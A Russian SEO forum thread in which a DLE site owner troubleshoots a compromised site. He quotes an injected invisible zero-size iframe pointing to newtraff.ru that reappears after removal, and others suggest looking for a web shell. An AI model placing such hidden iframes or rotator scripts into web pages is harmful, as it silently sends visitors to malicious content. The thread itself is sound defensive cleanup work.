Вернуться   SEO форум - оптимизация и продвижение сайтов > Web разработки > Разработка сайтов > DLE

Важная информация
DLE - DLE форум - установка, шаблоны, модули. Движок DLE от А до Я.

Ответ
 
Опции темы Оценить тему Опции просмотра
Старый 25.10.2012, 11:07   #1
 
Аватар для hightstreams
 
Сообщений: 333
FR (активность): 30,247

Доп. информация
По умолчанию Автор темы При открытии сайта вылазит такая хрень

Собственно вот:

Двиг ДЛЕ. Сам сайт.
Что это такое, и как с ним бороться? Спасибо!
hightstreams вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 25.10.2012, 11:18   #2
 
Аватар для Андрей))
 
Сообщений: 873
FR (активность): 22,398

Доп. информация
По умолчанию

Это вирус, не в коем случае запускать нельзя. От защиты от этого мусора лучше использовать в настройках браузера фишинг страниц и отмену автоматической загрузки файлов. Лично по мне лучшая защита это как не странно Explorer если грамотно его настроить, то можно отключить не только эту бяку, но и всплывающие окна и т.п. при чем касперский с ним работает очень хорошо. Но скорость загрузки страниц ужасная, лично я лучше вирусы ловить буду Как вариант купить касперский лицензию и настраивать его.
Андрей)) вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 25.10.2012, 11:33   #3
 
Аватар для hightstreams
 
Сообщений: 333
FR (активность): 30,247

Доп. информация
По умолчанию Автор темы

Проблема решена. Убрал в шаблоне: <iframe src="http://newtraff.ru/go.php?sid=3" width="0" height="0" frameborder="0"></iframe>
Всем спасибо.
hightstreams вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 25.10.2012, 14:54   #4
 
Аватар для Ебозаврик
 
Сообщений: 272
FR (активность): 9,486

Доп. информация
По умолчанию

ТС, где-то на сайте есть шелл. Ищите, если еще не нашли.
hightstreams: сообщение полезно


Не веду никакой деятельности, контактов ICQ, Skype и т.д. не имею. С Уважением.
Ебозаврик вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
"Спасибо" от:
hightstreams (12.12.2012)
Старый 12.12.2012, 09:04   #5
 
Аватар для hightstreams
 
Сообщений: 333
FR (активность): 30,247

Доп. информация
Печаль Автор темы

Цитата:
Сообщение от Луна Посмотреть сообщение
ТС, где-то на сайте есть шелл. Ищите, если еще не нашли.
Примерно где его искать?
Проблема не решена. Эта хрень стала еще более агрессивной. Прошу помощи. Спасибо!
hightstreams вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 12.12.2012, 09:10   #6
 
Аватар для СТЕПАН
 
Сообщений: 1,655
FR (активность): 113,743

Доп. информация
По умолчанию

Убери эти два скрипта проверь возможно это они.

[html]<script type="text/javascript" charset="windows-1251" src="http://onlinerotator.net/codes/14939/14546_timekino.ru.js"></script>
<script language="javascript" src="http://uno.wt-rotator122.ru/?t=br&noadult=1&pid=30257"></script>[/html]


  • Обзор SEO софт для Вебмастера! | Антикапча лучшая RU сегменте
  • ZennoPoster 5 + Бонус шаблоны | Купить Key Collector со скидкой за 1100р
СТЕПАН вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 30.12.2012, 11:10   #7
 
Аватар для hightstreams
 
Сообщений: 333
FR (активность): 30,247

Доп. информация
По умолчанию Автор темы

Я удаляю с шаблона:
<iframe src="http://newtraff.ru/go.php?sid=3" width="0" height="0" frameborder="0"></iframe><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

а оно само снова прописывается.
Где искать совершающее это действие заразу?
hightstreams вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 30.12.2012, 11:18   #8
 
Аватар для СТЕПАН
 
Сообщений: 1,655
FR (активность): 113,743

Доп. информация
По умолчанию

Цитата:
Сообщение от hightstreams Посмотреть сообщение
<iframe src="http://newtraff.ru/go.php?sid=3" width="0" height="0" frameborder="0"></iframe>
этот фрейм и является заразой удали только его или попробуй закомментить


  • Обзор SEO софт для Вебмастера! | Антикапча лучшая RU сегменте
  • ZennoPoster 5 + Бонус шаблоны | Купить Key Collector со скидкой за 1100р
СТЕПАН вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 30.12.2012, 11:34   #9
 
Аватар для Gloys
 
Сообщений: 14
FR (активность): 230

Доп. информация
По умолчанию

Цитата:
Сообщение от hightstreams Посмотреть сообщение
а оно само снова прописывается.
Где искать совершающее это действие заразу?
Явно что инфицированы пых файлы, вот так взять - зайти на Ваш сайт, посмотреть исходник в html и сказать в каком файле находится вредоносный код нельзя, нужно смотреть полные исходники. Но как вариант - скачай сайт на локалку и проверь своим АВ, мб что и найдёт. Если нет, то рули в сторону ачата/рдот и т.п., ну а если нету денег то, гугл в помощь - возможно у кого-то была подобная проблема и они смогли её решить.

Цитата:
Сообщение от *RU* Посмотреть сообщение
этот фрейм и является заразой удали только его или попробуй закомментить
Цитата:
Сообщение от hightstreams Посмотреть сообщение
а оно само снова прописывается.
так то дело говоришь, но, ифрейм ведь опять появляется после удаления, посему нужно копать глубже и искать причину появления этого кода - шел или другой вредоносный код, который и является причиной появления этого ифрейма. Кстати вариант с "закомментить" скорей всего сработает, но это не есть решение проблемы.


...
Gloys вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Старый 25.01.2013, 09:45   #10
 
Аватар для garon
 
Сообщений: 10
FR (активность): 478

Доп. информация
По умолчанию

Попробуй вот этой фишкой воспользоваться :
http://revisium.com/ai/
я на своем сайте нашел шелл и убрал
garon вне форума  
Ответить с цитированием Сказать Плохо за это бесполезное сообщение Быстрый ответ на это сообщение
Ответ

Быстрый ответ
Ваше имя пользователя: Регистрация. Для входа нажмите здесь
Случайный вопрос

Сообщение:
Опции
Внимание!
Этой теме более 3400 дней. Вы можете оставить сообщение здесь. Но, обращаем внимание. Возможно, рациональней создать новую тему (найти свежее обсуждение)?


Опции темы
Опции просмотра Оценка этой теме
Оценка этой теме:

Ваши права в разделе
Вы не можете создавать новые темы
Вы можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Есть такая профессия копирайтер elnaga Фриланс - ищу работу 1 11.06.2012 15:01
По запросу вылазит ненужная совсем страница [email protected] Яndex 4 10.12.2011 09:05
Выдача. Что за хрень!? Malex Google 4 20.08.2010 15:48
Поможет ли такая ссылка Nubasek Продвижение ссылками 1 16.05.2010 15:52
Вот такая вот sitemap... fireball-777 Индексация сайта 6 25.09.2009 18:23

Текущее время: 08:57. Часовой пояс GMT +3.